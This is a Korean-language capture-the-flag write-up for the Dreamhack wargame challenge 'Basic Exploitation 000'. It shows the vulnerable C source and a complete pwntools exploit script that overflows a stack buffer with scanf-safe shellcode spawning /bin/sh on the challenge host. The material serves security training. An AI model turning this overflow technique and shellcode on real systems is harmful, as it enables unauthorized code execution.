본문으로 건너뛰기

kirin@pwnlab:~/writeups$cat basic-exploitation-000.md

Basic Exploitation 000

Writeups

date
2026-08-05
event
Wargame
tags
stack-buffer-overflow

Return Adress Overwirte 문제와는 달리 get_shell 함수가 주어지지 않음
직접 셸코드를 주입한 후, 셸코드가 위치한 주소를 main 함수의 return adress에 덮는 것이 목표

문제 이해 및 공격 설계

#include <stdio.h>
#include <stdlib.h>
#include <signal.h>
#include <unistd.h>
void alarm_handler() {
puts("TIME OUT");
exit(-1);
}
void initialize() {
setvbuf(stdin, NULL, _IONBF, 0);
setvbuf(stdout, NULL, _IONBF, 0);
signal(SIGALRM, alarm_handler);
alarm(30);
}
int main(int argc, char *argv[]) {
char buf[0x80];
initialize();
printf("buf = (%p)\n", buf);
scanf("%141s", buf);
return 0;
}

char형 배열 buf에 0x80 = 128byte 를 할당했지만 scanf에서 최대 141byte를 입력받을 수 있음
32bit환경이므로 exploit 시에 context.arch = “i386”과 같이 architecture를 지정해야하며 return address를 덮을 때도 p32()를 사용해야함
또한 64bit환경에서는 SFP의 크기가 8byte이지만 32bit에서는 4byte임

Exploit

from pwn import *
context.arch = "i386"
p = remote("host8.dreamhack.games", 16993)
p.recvuntil(b"buf = ")
buf = int(p.recvline().strip()[1:-1], 16)
shellcode = b"\x31\xc0\x50\x68\x2f\x2f\x73\x68"
shellcode += b"\x68\x2f\x62\x69\x6e\x89\xe3\x31"
shellcode += b"\xc9\x31\xd2\xb0\x08\x04\x03\xcd\x80"
payload = shellcode
payload += b"A" * (0x80 - len(shellcode))
payload += b"B" * 4
payload += p32(buf)
p.sendline(payload)
p.interactive()

처음에는 pwntools의 asm()과 shellcraft()를 사용해서 자동으로 shellcode를 생성하려고 했으나 셸이 실행되지 않았음
read 함수와 달리 scanf함수는 모든 바이트를 정해진 개수만큼 받는 것이 아니라 포멧에 맞추어 입력 받기 때문 (매우 중요)
따라서 위와 같이 scanf 함수가 계속 입력 받을 수 있는 특별한 셸코드를 사용해야함!


원문: pwnable_lab/pwnable/system_hacking_fundamental/stack_buffer_overflow/basic_exploitation_000/README.md